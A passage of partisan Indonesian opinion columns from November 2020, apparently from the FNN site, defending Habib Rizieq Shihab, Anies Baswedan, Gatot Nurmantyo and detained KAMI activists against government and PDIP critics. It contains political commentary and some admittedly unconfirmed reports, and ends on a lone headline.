bukan untuk kepentingan saya pribadi, tapi kepentingan banyak orang, untuk kepentingan generasi mendatang, persoalan sebesar ini hanya dihindari dengan putusan sela bahwa Pengadilan tidak berwenang mengadili, padahal acara persidangan sudah berjalan setahun lebih, sehingga saya bisa menyimpulkan bahwa majelis hakim seperti prajurit yang lari dari medan pertempuran, seperti kata pepatah Jawa "tinggal gelanggang colong playu", pepatah yang sering disematkan pada siapapun yang menghindari tanggung jawab. Ok, mengakhiri catatan saya ini, saya kembali mengingat kisah tauladan Nabi Musa a.s. Ketika rasionalitas Nabi Musa a.s. berucap, “Bagaimana umatku yang lemah dan tanpa senjata akan mengalahkan pasukan Fir'aun yang kuat?” Allah SWT menjawab, “Urusanmu hanya istiqamah dan taat, selainnya adalah kehendak-Ku.”Maka, teguhlah dalam memperjuangkan kebenaran. Karena, Allah pasti bersama kita. "Perjuangan milik kita, Kemenangan milik ALLAH" Salam Patriot Proklamasi! Penulis, praktisi hukum.

Mengapa Orang PDIP Ramai-ramai Menyerang Habib?

by Asyari Usman Jakarta FNN - Sabtu (14/11). Sehari setelah tiba kembali di Indonesia, Habib langsung diserang oleh para politisi PDIP. Dimulai oleh Henry Yosodiningrat. Dia minta polisi agar melanjutkan laporannya sekitar empat tahun lalu. Waktu itu, Henry merasa nama baiknya dicemarkan oleh Habib. Setelah Henry, ada lagi serangan. Yaitu imbauan dari orang Banteng lainnya agar Polisi melanjutkan kasus-kasus Habib. Sebelum Habib tiba, Ruhut Sitompul juga ikut menyerang. Politisi yang hobi lompat-lompat partai ini berkomentar tentang pidato KH Muhammad Shabri Lubis yang, pada 13 Oktober 2020 ketika demo UU Cilaka, mengatakan Habib akan pulang memimpin revolusi. Kemudian, Kiyai Shabri mengklarifikasi bahwa yang ia maksud adalah revolusi akhlak. Atas klarifikasi ini, Ruhut menyebutnya sebahai “Raja Ngeles”. Sementara itu, anggota DPRD DKI dari PDIP, Gilbert Simanjuntak, mempersoalkan kunjungan Gubernur Anies Baswedan ke kediaman Habib di Petamburan pada 11 November. Sehari setelah IB tiba. Menurut Simanjuntak, kunjungan Anies itu tidak memberikan contoh yang baik di tengah upaya meredam Covid-19. Meskipun Anies selalu memakai masker. Simanjuntak mungkin saja punya poin dalam berkomentar tentang silaturahmi Anies itu. Tetapi, kalau dilihat gambar besar persoalan Covid, maka sangatlah jelas bahwa bobot politis nyinyiran Simanjuntak jauh lebih berat dari aspek medis yang dijadikannya alasan. Dari rangkaian serangan beruntun dari kubu PDIP terkait dengan kepulangan Habib, tampaklah betapa kompaknya Partai Bateng dalam orkestrasi mereka memojokkan IB. Mereka keluar beramai-ramai menyerang dari sisi apa saja. Termasuklah komentar “relijius” dari selebriti asal bunyi, Dewi Tanjung. Dia mengatakan, terkait kepulangan Habib, lihat saja nanti siapa yang akan kena azab. Dewi menganggap Habib orang sombong. Yang bakal kena azab. Nah, mengapa kubu PDIP melancarkan serangan? Dan apa tujuannya? Tentang mengapa, tentu tidak sulit dijawab. Yaitu, karena Habib sangat kritis terhadap orang-orang yang anti-Pancasila. Habib juga lantang meneriakkan bahwa kebangkitan neo-komunis semakin menjadi-jadi di era kekuasaan PDIP belakangan ini. Tentang apa tujuan serangan ini, juga tidak berat untuk dijelaskan. Yaitu, untuk melemahkan semangat Habib dan umat dalam memperjuangkan keadilan dan meruntuhkan oligarkhi cukong yang menguasai Indonesia secara “de facto”. Ada pertanyaan ketiga: mengapa kubu PDIP berani melancarkan serangan terhadap Habib? Jawabannya, mungkin Banteng memiliki semuanya sehingga merasa bisa melakukan apa saja. Karena memiliki semuanya, tentu mereka ingin melakukan ujicoba kekuatan yang mereka punyai itu. Barangkali mereka berpikir, kapan lagi diujicobakan. Sebetulnya, cara-cara seperti ini bukan hal baru. Selama ini pun PDIP suka menunjukkan perasaan bahwa merekalah pemilik negara ini.[] (Penulis wartawan senior FNN.co.id)

Benarkah Tahanan Politik Jumhur Positif Covid?

by Luqman Ibrahim Soemay Nabire FNN – Kamis (12/11). Tahanan politik dan akitivis Komite Aksi Menyelamatkan Indonesia (KAMI) Muhammad Jumhur Hidayat dikabarkan positif terpapar covid 19. Namun Jumhur kabarnya tidak sendirian yang positif terpapar virus laknat dan jahannam tersebut. Belasan tahanan lain yang ditahan Bareskrim juga dikabarkan mengalami hal yang sama. Tahanan politik dan aktivis KAMI yang lain seperti Syahganda Nainggolan, Anton Permana dan Kingkin Anida dikawatirkan berpotensi untuk tertular covid 19 juga. Meskipun demikian, sampai sekarang belom ada pernyataan resmi dari aparat kepolisian. Baik itu dari Badan Reserse Kriminal (Bareskrim) maupun Devisi Hubungan Masyarakat Polri terkait informasi yang hari ini beredar WhatsAap (WA) tersebut. Sebelumnya dikabarkan tiga tersangka di Bareskrim positif terpapar virus covis 19. Dua diantaranya, yaitu Anita Kolopaking dan Hendri Rusli yang terkait kasus suap Jaksa Pinangki Sirna Malasari. Sementara satu lagi adalah Darmansyah, yang terkait dengan kasus Batubara. Tersangka Hendri Rusli telah meninggal dunia karena positif terjangkit covid 19. Belum lama ini telah dilakukan test sweeb terhadap hampir seluruh tahanan yang ada di rumah tahanan Bareskrim Polri. Jumlahnya sekitar 150-an orang tahanan. Dari jumlah tersebut, dikabarkan 18 tahanan positif terpapar covid 19. Satu diantara tahanan yang positif itu adalah tahanan politik politik dan aktivis KAMI Muhammad Jumhur Hidayat. Kini ke 18 tahanan Bareskrim yang postitif terpapar covid 19 itu diisolasi di tiga kamar tahanan. Masing-masing kamar berisi 6 orang tahanan yang posotif. Namun cara ini dipastikan tidak menyelesaikan masalah. Bahkan sangat mungkin menambah masalah baru. Karena berkumpulnya banyak tahanan yang positif terpapar covid 19 lebih dalam satu kamar. Prinsip dari isolasi adalah berkurangnya bersentuhan secara fisik dengan orang lain. Makanya tenaga medis yang bertugas marawat dan melayani pasien positif covid 19, selalu diharuskan untuk melindungi diri. Misalnya, dengan menggunakan pakaian Alat Pelindung Diri (APD). Tujuannya untuk memotong dan memutus mata rantai penularan virus covid 19. Bila tahanan 6 orang digabungkan dalam satu kamar seperti sekarang, hampir dipastikan penyebarannya semakin menjadi-jadi. Bukannya semakin berkurang. Bahkan sangat berpotensi untuk menyebar ke mereka yang potensial selalu bersentuhan dengan para tahahan tersebut. Apakah itu para petugas di tahanan, para penyidik maupun yang lain. Langkah yang paling mungkin dilakukan Bareskrim Polri adalah membatarkan penahanan mereka yang telah dinyatakan positif terpapar covid 19. Supaya para tahanan itu segera dirawat dan diisolasi di tempat-tempat atau rumah sakit yang telah disediakan negara. Bisa dirawat di rumah sakit wisma atletik Kamayoran atau di Rumah Sakit Sulianti Suroso. Bareskrim Polri sebagai institusi negara yang menahan ke 18 tahanan yang positif covid 19 itu, maka Bareskrim harus beratanggung jawab terhadap peroalan yang sekarang menimpa mereka. Termasuk upaya-upaya untuk menyembuhkan mereka dari covid 19. Sebab sebelum ditahan, mereka dipastikan tidak terjangkit covid 19. Mereka baru terjangkit seteleh mendekam di tahanan Bareskrim Polri. Kondisi yang hari ini terjadi di tananan Bareskrim Polri ini, bukan saja telah membuat para tahanan lain yang negatif covid 19 merasa tidak nyaman. Bahkan keluarga dari tahanan yang tak terjangkit juga selalu merasa tidak nyaman dengan anggota keluraganya yang ditahan. Keluarga selalu was-was terhadap kondisi tersebut. Apalagi jumlah yang positif terjangkit sangat itu banyak. Bareskrim bisa saja dicatat sebagai institusi penegak hukum yang menelantarkan para tahanannya. Bahkan dapat dikatargorikan sebagai pelanggaran Hak Asasi Manusia (HAM). Kejadian ini tentu menjadi catatan buruk terhadap satu satu intitusi penagak hukum di Indonesia. Penulis adalah Wartawan Senior FNN.co.id.

Bravo Jenderal Gatot

by M Rizal Fadillah Bandung FNN – Kamis (12/11). Akhirnya Jenderal TNI (Purn) Gatot Nurmantyo tidak datang menghadiri penganugerahan Bintang Mahaputera oleh Presiden Republik Indonesia di Istana Negara. Sebagai Pemerintah tentu sudah memenuhi kewajibannya. Sementara di lain pihak, Pak Gatot juga memiliki prinsip kuat untuk menolaknya. Terlepas dari narasi surat yang dikirim Pak Gatot kepada Presiden Jokowi, tetapi sikap untuk tidak menghadiri dalam situasi keprihatinan kesehatan dan politik seperti ini cukup memberi pesan yang aspiratif. Publik bisa menilai konten pesan tersebut dari lima aspek. Pertama, dengan menolak hadir pada penganugerahan yang bukan tanggal 17 Agustus adalah kritik atas pengubahan budaya yang selama ini berlaku. Hari Pahlawan sebaiknya khusus untuk penghormatan dan penghargaan kepada para pahlawan. Waktu yang spesial untuk para pahlawan. Kedua, Bintang Mahaputera untuk purna tugas setingkat Menteri tidak baik dipecah-pecah. Sebagian diberikan pada Hari Pahlawan. Sebab dengan protokol kesehatan semuanya dapat diberikan pada tanggal 17 Agustus sebagaimana biasanya. Seperti yang diberikan kepada mantan Wakil Ketua DPR Fahri Hamzah dan Fadli Zon. Ketiga, sikap solidaritas seorang prajurit yang luar biasa. Tidak mau "makan tulang kawan". Begitu juga dengan solidaritas terhadap teman-teman seperjuangan di Komite Aksi Menyelamatkan Indonesia (KAMI) yang sedang menghadapi kesulitan berupa penahanan di tahanan Bareskrim. Tidak bagus menerima penghargaan dari pemerintah di tengah "korps" menghadapi kesulitan. Harus senasib sepenanggungan. Apalagi pada pada waktu yang bersamaan, teman-teman seperjuanga juga ditahan oleh pemerintah hanya karena berbeda pendapat dengan pemerintah. Padahal substansi yang dijadikan alasan bagi pemerintah menanahan teman-teman KAMI nyata-nyata terjadi. Yaitu tata kelola negara yang kacau-balau dan amburadul. Hanya berdasarkan pendekataan kekuasaan sematar. Akibatnya, negara terancam keluar dari tujuan bernegara seperimana yang diamantkan oleh Pembukaan UUD 1945. Keempat, penunjukan menjadi salah seorang Presidium KAMI adalah amanah untuk memimpin upaya-upaya menyelamatkan bangsa. KAMI menilai bangsa dapat tidak selamat di bawah kepemimpinan Presiden Jokowi. Tidak baik untuk menerima kalungan penghargaan dari Presiden yang nyata-nyata mesti diluruskan berbagai kebijakannya. Kelima, Pak Gatot Nurmantyo itu adalah contoh pemimpin bangsa dalam arti yang sebenarnya. Bukan pemimpin yang abal-abal, odong-odong, kaleng-kaleng dan beleng-belekang. Pemimpin yang diharapkan konsisten berjuang terus bersama dengan rakyat. Dalam situasi normal, maka 2024 adalah peluang untuk amanah kepemimpinan nasional. Dalam situasi darurat, dengan tetap bersama rakyat, maka menjadi lebih kuat dan solid. Segala kemungkinan bisa saja terjadi. Apa saja yang terjadi ke depan tidak ada yang bisa memprediksi. Yang terpenting adalah selalu bersama-sama dengan rakyat. Pak Gatot sebaiknya jangan mau untuk dijauhkan dengan denyut nadi rakyat seincipun. Menteri Koordinator Bidang Politik, Hukum dan Keamanan (Menkopolhukam) tidak jelas menyatakan bahwa penghargaan telah diterima. Sayangnya, suara Pemerintah lain menyatakan lain. Penghargaan Bintang Mahaputra yang disediakan untuk Pak Gatot justru kembali ke negara. Apapun itu, Pak Gatot Nurmantyo telah menunjukkan kualitas dan sikap yang sangat konsisten. Ciri dari pemimpin yang punya karakter. Pemimpinan yang sangat dirindukan oleh rakyat sekarang, di tengah krisisi pemimpin pandai menjilat untuk mendapat jabatan dan penghargaan. Sikap Pak Gatot merupakan sesuatu yang patut untuk diapresiasi. Sudah sesuai dengan apa yang memang sedang diharapkan oleh rakyat. Bravo, Pak Jenderal Gatot! Penulis adalah Pemerhati Politik dan Kebangsaan.

Anies Temui HRS, Ada Yang Salah?

by Tony Rosyid Jakarta FNN – Kamis (12/11). Habib Rizieq Shihab (HRS) Pulang. Tepat di hari pahlawan. Heroisme kepulangan HRS menjadi isu terhangat di media. TV One menayangkan secara live. Satu-satunya TV mainstream yang tayang secara live. Usai dhuhur, tayangan HRS di TV One berhenti. Berhenti atau karena dihentikan, tanya saja ke publik. Malam harinya, kepulangan Habib Rizieq jadi tema di program ILC TV One. Para narasumber sudah dihubungi. Sebagian besar menyatakan bersedia datang. Beberapa narasumber bahkan sudah dalam perjalanan menuju ke studio TV One. Namun acara ILC mendadak dibatalkan. Ada apa? Apa alasan dibatalkan? Hanya Karni Ilyas dan Tuhan yang tahu jawabannya. Tokoh yang dikenal dengan panggilan Imam Besar (IB HRS) ini memang penuh kontroversi. Pro-kontra mewarnai gerakan moralnya. Sejak mendirikan FPI hingga ketika HRS ini mengendalikan komandonya di Makkah selama tiga setengah tahun terakhir. Terkait dengan 17 persoalan hukum yang dituduhkan kepadanya, hingga ketegangannya dengan istana telah membuat HRS semakin populer. Kemampuannya untuk menggerakkan jutaan manusia membuat sejumlah pihak, termasuk istana was-was. Ditengah kontroversi kepulangan HRS, Anies Baswedan, Gubernur DKI Jakarta malah mendatanginya. Bersilaturahmi, atas nama pribadi maupun Gubernur DKI. Kebetulan, HRS adalah warga DKI. Seorang tokoh, sekaligus ulama yang disegani dan berpengaruh, khususnya bagi warga DKI. Begitulah seorang pemimpin, mesti mampu membangun hubungan baik dengan semua unsur yang ada di masyarakat. Terutama para tokoh yang memiliki pengaruh terhadap warganya. Nggak peduli apa agamanya, dari mana asal etinisnya, dan apa mazhab politiknya. Mengembangkan hubungan dengan para tokoh diperlukan oleh setiap pemimpin. Pertama, untuk manjaga stabilitas sosial masyarakat. Banyak persoalan di tengah warga yang justru sangat efektif ketika menyelesaikannya melibatkan peran para tokoh agama maupun tokoh masyarakat. Kedua, menyusun agenda bersama untuk pembangunan kota Jakarta. Terutama pembangunan moral dan mental warga. Anies, selaku orang nomor satu di DKI melakukan peran ini. Merangkul semua pihak, terutama tokoh-tokoh berpengaruh seperti HRS. Tak ada alasan untuk tidak merawat hubungan baik dengan para tokoh, meski kontroversi sekalipun. Poinya adalah bahwa setiap tokoh yang punya pengaruh dan punya kontribusi untuk bangsa. Wajib bagi pemimpin untuk menjaga hubungan baik. Bahkan melibatkan peran sosialnya. Tidak peduli tokoh itu semazhab atau tidak semazhab dengannya. Begitulah mestinya seorang pemimpin. Harus mampu berdiri di atas semua golongan masyarakat. Masuk ke semua tokoh agama dan tempat ibadah. Anies datang dan kepada semuanya. Anies menyapa dan bersilaturahmi dengan mereka. Apalagi dengan HRS yang peran dan pengaruhnya terhadap masyarakat DKI sangat besar. Hanya pemimpin kerdil, picik, dan licik yang berdiri hanya di atas golongan dan kelompoknya sendiri. Silaturahmi dan sikap merangkul, itu etika dan langkah strategis yang harus terus dirawat oleh setiap pemimpin. Baik pemimpin daerah, maupun pemimpin nasional. Apalagi ini terkait dengan tokoh sekelas HRS yang kepeduliannya terhadap moralitas bangsa dianggap punya pengaruh cukup besar bagi masyarakat. Melalui "revolusi akhlak", HRS ambil risiko untuk masa depan bangsa dan negara. Sampai disini, apa yang salah dengan Anies? Mengapa kader PDIP, Gilbert Simanjuntak, berteriak dan menuntut mendagri mengevaluasi dan memberi sanksi terhadap Anies? Apa ada UU yang melarang seorang pemimpin bertemu warganya? UU nomor berapa dan pasal berapa seorang gubernur dilarang bersilaturahmi dengan tokoh agama? Apakah bertemu tokoh agama itu pelanggaran hukum? Ahok menista agama, lalu divonis dua tahun penjara. Itu saja anda boleh menjenguknya. Jelas-jelas ada vonis bersalah, ada pasal pasal yang dilanggar, anda tidak dilarang menjenguk. Presiden sekalipun tidak dilarang menemuinya. Begitu juga menjenguk para koruptor dan terpidana yang lain. Tidak haram! Kenapa bertemu HRS dipersoalkan? HRS bukan terpidana, bukan pula koruptor. Dia bukan penjahat. Kenapa hormat dan ta'dzim Anies kepada ulama anda masalahkan? Menyorot protab Covid-19, ada kesan mengada-ada. Ketika HRS pulang, yang disorot bukan masker dan social distancing. Tetapi pemerintah justru lebih fokus menyoal kepulangan HRS. Membincang masalah dan deportasinya. Seolah nggak peduli dengan protab covid-nya. Giliran Anies datang, ada yang cari-cari masalah terkait protab kesehatan. Kalau begitu cara elit selalu bersikap, nalar rakyat Indonesia akan jadi ikut rusak. Di egara hukum, masyarakatnya mesti bernalar hukum. Hukum itu untuk semua. Hukum bukan hanya untuk lawan politiknya. Jangan ada nalar golongan dan nalar kebencian. Fanatisme dan kepentingan golongan inilah yang merusak karakter kebangsaan. Rakyat butuh sikap kenegarawanan, bukan kampanye kebencian. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Aneh, HRS Ada Perjanjian dengan BIN?

by Mohamad Toha Surabaya FNN – Kamis (12/11). Menjelang kepulangan Imam Besar Habib Muhammad Rizieq Shihab (HRS) ke Indonesia, sempat “berurusan” dengan Dewan Keamanan Nasional Arab Saudi (SNSC) (bahasa Arab مجلس الأمن الوطني‎). SNSC bertanggung jawab mengkoordinasikan Keamanan Nasional, Intelijen, dan strategi Kebijakan Luar Negeri. Didirikan pada 2005 oleh Raja Abdullah bin Abdul Aziz Al Saud. HRS sempat menceritakan detik-detik dirinya diperiksa oleh badan intelijen Kerajaan Arab Saudi itu. HRS Mengaku sempat menunjukkan dokumen perjanjiannya dengan Badan Intelijen Negara (BIN) kepada pihak Saudi. HRS awalnya menceritakan laporan yang diterima oleh SNSC. Berdasarkan laporan yang diterima badan intelijen Saudi itu, HRS sedang dikejar-kejar oleh BIN. Terakhir SNSC bilang “katanya anda ini dikejar-kejar badan intelijen dari negara anda”. Saya bilang, “nggak, saya nggak punya persoalan dengan badan intelijen Indonesia',” ungkap HRS di kanal YouTube Front TV, Selasa (10/11/2020). Kata otoritas Saudi, tapi ini ada laporannya. Anda bisa buktikan kalau anda tidak punya permasalahan dengan Badan Intelijen Indonesia”?. HRS menjawab punya”. Kepada SNSC, HRS mengaku, bisa membuktikan bahwa dia tidak sedang dalam pengejaran BIN. Baru kemudian ia menunjukkan dokumen perjanjiannya dengan BIN. Apa buktinya? tanya SNSC. Saya punya dokumen perjanjian antara saya dengan Badan Intelijen Indonesia. Saya terjemahkan ke bahasa Arab,” ucap HRS. Menurutnya, SNSC kaget saat dia menunjukkan dokumen perjanjian dimaksud. Singkat cerita, kata HRS, Badan Intelijen Saudi akhirnya meminta maaf. “Resmi di situ, dan dokumen ini kan belum saya buka ke masyarakat. Saya pikir nggak ada perlunya saya buka, kecuali darurat, saya tunjukkan, mereka kaget. “Anda punya perjanjian begini bagus dengan negara. Anda tak punya masalah kok dilaporkan macam-macam”. Nah ini yang jadi persoalan,” tutur HRS. Sebelumnya, Imam Besar HRS mengungkapkan upayanya pulang dari Arab Saudi ke Indonesia. Awalnya dituduh buron dari Indonesia, dan kabur ke Arab Saudi. Tuduhan itu sampai ke telinga pemerintah Arab Saudi berdasarkan laporan yang masuk. “Ada persoalan hukum yang saya hadapi, saya katanya red notice. Kemudian ada lagi yang mengatakan bahwa kalau saya ini orang politik, yang selalu bikin keributan dimana-mana. Nanti bahaya untuk keamanan Saudi”. “Ini laporan-laporan semacam ini saya tidak mau menuduh si A, atau si B, atau si C. Tetapi, ini ada, ini bukan laporan dari orang biasa. Kalau laporan dari orang biasa, tidak akan dihiraukan pemerintah Saudi. Ini laporan tingkat negara. Bukan tingkat RT, tingkat RW,” katanya. Bantah Dubes Agus Seperti sebelumnya diberitakan, Dubes Indonesia untuk Arab Saudi Agus Maftuh Abegebriel menyebut ada aib yang dilakukannya selama tinggal di Saudi. Tetapi, Agus tak mengungkap aib itu. Agus hanya mengatakan, aib HRS itu tercantum dalam layar kedua sistem komputer imigrasi Arab Saudi. “Di layar kedua ini ada 2 kolom yang sensitif dan berkategori aib sehingga kami tidak elok untuk membukanya ke publik,” katanya (CNNIndonesia.com, Jumat, 6/11/2020). Aktivis Serikat Pekerja Migran Indonesia (SPMI) Wilayah Makkah, Syamsul Lombok, mempertanyakan yang dimaksud Dubes Agus melalui surat terbukanya. HRS dideportasi atau repatriasi? Pak Dubes Agus termasuk lah seorang die hard pemerintah yang rajin komen soal HRS. Banyak narasi yang kembangkan seputar HRS di tanah suci Makkah. Diantaranya adalah HRS Over Stay dan saat ini dideportasi,” tulisnya. Menurut Syamsul, bagi WNI yang tinggal di wilayah Kerajaan Saudi Arabia (KSA), istilah over stay dan deportasi ini sudah tak asing lagi. Kebetulan, ia selama hampir dua tahun mukim di Makkah, kerap berurusan dengan beberapa WNI over stay dan dideportasi dari Saudi. “Setahu saya, sejak pandemi Covid-19, pemerintah Saudi menutup sementara program deportasi para ekspatriat hingga hari ini sampai kemudian kondisi kembali normal,” ungkap Syamsul. Untuk saat ini, pemerintah Saudi hanya mengeluarkan kebijakan repatriasi bagi ekspatriat, termasuk WNI. Beda dengan deportasi. Repatriasi merupakan program pemerintah untuk memfasilitasi ekspatriat kembali ke negaranya masing-masing. Ekspatriat yang mengikuti repatriasi biasanya memiliki dokumen yang lengkap. Baik paspor, visa, izin tinggal, dan dokumen primer lainnya. Sedangkan untuk ekspatriat yang dideportasi, biasanya didominasi oleh eksptriat yang non-dokumen. Tidak dipungkiri, jika ada sebagian yang memiliki dokumen lengkap, tetapi telah melakukan pelanggaran hukum di wilayah Saudi. Bagi ekspatriat yang dideportasi, maka seluruh biaya yang timbul selama proses pemulangannya ke negara asalnya ditanggung oleh pemerintah Saudi. Sedangkan yang mengikuti program repatriasi, biayanya akan ditanggung secara mandiri oleh pribadi bersangkutan dan pihak pengguna jasa yang selama ini menggunakan jasa mereka. Bisa oleh syarikah (perusahaan) ataupun perseorangan. “Setahu saya, dalam kapasitas sebagai pengurus SPMI wilayah Makkah, sejak Februari 2020, pemerintah Saudi telah memoratorium program tarhil (deportasi) seiring ditutupnya akses penerbangan internasional dari dan menuju Saudi,” ungkap Syamsul. “Banyak sekali WNI over stay non dokumen yang mengeluh ke saya, gagal pulang ke Indonesia, gegara program deportasi pemerintah Saudi yang tidak kunjung dibuka hingga hari ini. Bahkan, ada banyak diantara WNI over stay non dokumen yang ditampung KJRI Jeddah karena terlunta-lunta di jalanan. Sepekan lalu, Syamsul dihubungi Kepala Atase Ketenagakerjaan KJRI Jeddah. “Beliau meminta saya mencari keberadaan seorang oknum Pekerja Migran Indonesia yang diduga menelantarkan istrinya. Sang istri dalam kondisi hamil dan hendak melahirkan, tetapi tidak punya dokumen lengkap dan berencana mengikuti program tarhil (deportasi)”. Berhubung program tarhil belum dibuka oleh otoritas setempat, jadilah TKW tersebut terlunta-lunta di taman Kota Jeddah. Meskipun yang bersangkutan kini diamankan di penampungan KJRI Jeddah. Ada juga WNI di Makkah yang sudah tidak punya pekerjaan sejak kebijakan lockdown Saudi. Dia juga tak punya dokumen resmi,” ujar Syamsul. Sebelumnya, dia bekerja sebagai guide (muthawwif). Berhubung pandemi corona, semuanya terhenti. Bersama beberapa rekannya mencoba menyerahkan diri ke pihak berwajib Saudi, agar bisa dideportasi. Tetepi, nyatanya dia ditolak dan disuruh kembali ke tempat tinggalnya. Karena menurut keterangan otoritas, tarhil belum dibuka kembali. “Saya ingin tanya kepada pak Dubes Agus, apakah benar program Deportasi sudah dibuka pemerintah Saudi”? “Kalau sudah dibuka, ada ribuan WNI kita yang over stay non dokumen yang siap mengikuti program tersebut. Saya siap membantu pemerintah mendata nama-nama WNI over stay yang ingin mengikuti program tarhil,” ungkap Syamsul. Seperti yang pernah dilakukan untuk mendata WNI saat penyaluran bantuan Covid-19 oleh KJRI Jeddah”. Siapa tahu, saudara kita ini bisa mengakhiri ketidak beruntungannya di negeri orang. Bisa berkumpul kembali dengan keluarganya di rumah. “Jangan-jangan Pak Dubes belum bisa membedakan antara repatriasi dengan deportasi? Mungkin juga Pak Dubes Tahu. Pasti tahulah. Namun pura-pira tidak tahu, dan akhirnya menyesatkan opini publik,” sindir Syamsul. Syamsul pernah beberapa kali bertemu HRS di kediaman beliau di Makkah. Bertemu juga dalam sebuah acara di rumah WNI di Tan'im. Bahkan, saya juga pernah ikut pertemuan dengan mantan Dubes RI untuk Saudi, Habib Salim Segaf dengan HRS beserta para pejabat KJRI dan Saudi di salah satu Vila mewah di pinggiran kota Makkah. Untuk pertemuan terakhir ini, HRS dapat pengawalan resmi dari pemerintah Saudi. Ada juga perwakilan dari KJRI Jeddah. Ada mantan Dubes RI di Saudi. “Yang mengejutkan saya, setelah lama pertemuan itu berlalu, salah seorang rekan pejabat KJRI Jeddah memberitahu saya, jika tuan rumah yang menyambut HRS dan Pak mantan Dubes itu adalah mantan Kepala Intelijen Saudi,” ungkap Syamsul. Jika HRS ini termasuk ekspatriat yang melanggar hukum di wilayahnya, apakah mungkin pejabat sekelas mantan Kepala Intelijen Saudi membiarkan HRS begitu dengan leluasa? Apa mungkin HRS bisa beberapa kali mengadakan pertemuan bersama WNI di Makkah-Madinah dengan aman dan lancar? Padahal, sistem administrasi kependudukan dan keimigrasian Saudi ini termasuk yang paling ketat di dunia. Semuanya terkontrol dan terintegrasi dengan baik. “Saya tidak tahu, apa masalah antara Pak Dubes dengan HRS. Yang ingin saya katakan, jika memang HRS dideportasi, maka mohon sampaikan salam dari ribuan WNI di Saudi kepada yang mulia Raja Salman, mereka juga ingin dideportasi oleh pemerintah Saudi.” Pertanyaannya kemudian, siapa sebenarnya yang “bermain” fitnah selama HRS ada di Makkah? Apalagi, ternyata Habieb Rizieq punya perjanjian dengan BIN! Penulis adalah Wartawan Senior FNN.co.id.

Habib Itu Adalah Realitas Sekaligus Entitas Politik Indonesia

by Asyari Usman Jakarta FNN - Kamis (12/11). Ketika Menkopolhukam Mahfud MD dan Ade Armando, dalam satu wawancara, mencoba untuk mengerdilkan Habib, seketika itu juga Beliau malah menjadi semakin berkibar di hati rakyat. Ratusan ribu pengguna medsos menunjukkan reaksi keras terhadap obrolan antara kedua orang tsb. Pukul rata, netizen menyebut wawancara itu sebagai obrolan sampah. Lihat bagaimana kecaman luas netizen terhadap cara Mahfud menyebut nama IB dalam wawancara itu. Setelah Mahfud MD mengucapkan nama Habib hanya dengan nama depan beliau saja, tanpa “habib” sebagai kata penghormatan, langsung meluncur serangan beruntun dari netizen. Warganet mencela balik cara Mahfud. Mahfud menyebut hanya nama depan saja bukan tanpa tujuan. Mahfud ingin menunjukkan kepada publik bahwa Habib itu bukan siapa-siapa. Bahkan Mahfud mengatakan dengan gamblang bahwa pengikut Habib tidak banyak. Di sini, Mahfud keliru. Dia menafikan fakta bahwa Habib adalah pemimpin umat yang diakui dan mendapat dukungan luas di masyarakat. Pada hari kepulangan Habib, Selasa (10/11/2020), Mahfud bisa melihat begitu banyak rekaman video tentang penyambutan Beliau di bandara Soekarno-Hatta. Lautan manusia. Beratus-ratus ribu. Hampir pasti, belum ada tokoh di negeri ini disambut gegap gempita seperti kedatangan Habib. Dalam rekaman video yang beredar hari Senin (9/11/2020), Mahfud kemudian mengubah penyebutan nama Habib menjadi lengkap. Bukan nama depan saja. Video ini berisi pernyataan Menkopulhukam tentang kepulangan IB. Nah, mengapa Mahfud memperbaiki penyebutan nama Habib ketika menyampaikan pernyataan itu? Kenapa lisan Mahfud berubah drastis? Kelihatannya mungkin ada yang memberikan masukan kepada Sang Menko agar berhati-hati. Mahfud sadar bahwa ucapan dia yang mengerdilkan Habib itu menyinggung perasaan umat se-Indonesia. Dan bisa semakin memperuncing hubungan penguasa dengan umat. Sebetulnya, Mahfud MD sudah paham bahwa Habib telah menjadi realitas sekaligus entitas politik di Indonesia. Tidak banyak tokoh dunia yang menjadi entitas politik. Menjadi realitas politik, bisa banyak orangnya. Dengan menjadi entitas politik, Habib ‘setara’ dengan orpol besar yang memiliki struktur organisasi yang lengkap. Padahal, Habib tidak memiliki itu semua. Di situ kelebihan Habib. Beliau memiliki konstituen yang amat besar. Hebatnya lagi, konstituen yang besar itu senantiasa aktif meskipun tanpa hubungan formal yang sifatnya vertikal maupun horizontal. Inilah yang terlihat ketika dilaksanakan aksi damai berjilid-jilid. Jutaan orang bisa hadir dan bagaikan terkomando. Padahal, mereka cuma ‘self-discipline’ saja. Habib juga telah menjadi ‘political leader’ (pemimpin politik) yang ‘de-facto’. Meskipun dia tidak memiliki wadah politik. Status sebagai pemimpin politik itu bahkan berlaku ‘across the board’. Berlaku lintas partai, golongan, etnis, dan mazhab. Kelebihan yang dimiliki Habib untuk menjadi magnet pengumpulan massa dari berbagai latarbelakang adalah bukti Beliau sebagai pemimpin politik ‘de-facto’. Banyak orang di berbagai orpol dan ormas menyenangi kepribadian Habib. Mengagumi keteguhan Beliau dalam mempertahankan integritas dan martabat dirinya. Mereka melihat Habib bisa bergaul dan berbaur begitu luas, termasuk dengan para tokoh dari agama-agama lain. Inilah realitas politik yang konstruktif. Keberadaan Habib sebagai entitas politik menjadikan dirinya figur yang dipandang memiliki kapasitas dan kapabilitas untuk menjaga persatuan dan kesatuan bangsa dan negara. Habib paham nilai-nilai kebangsaan dan kebinekaan. Tetapi, meskipun Habib berstatus sebagai entitas politik yang sangat kuat di akar rumput (grassroot), sejauh ini Beliau tidak pernah menunjukkan ambisi kekuasaan. Yang sering diteriakkan Habib adalah agar para penguasa, siapa pun itu, menegakkan keadilan dan hukum untuk semua orang. Tanpa syarat. Itu saja. Jadi, yang terbaik bagi para penguasa adalah berhenti memusuhi Habib. Sebab, misi Beliau adalah substansi Pancasila dan UUD 1945. Yaitu: lindungi semua anak bangsa, berikan hak-hak mereka, dan pertahankan kedaulatan negara dari ambisi ekspansionis asing dalam segala bentuk. InsyaAllah, tidak akan ada lagi keributan.[] (Penulis wartawan senior FNN.co.id)

Karni Ilyas Mundur Saja, Buat Memoar Tentang ILC

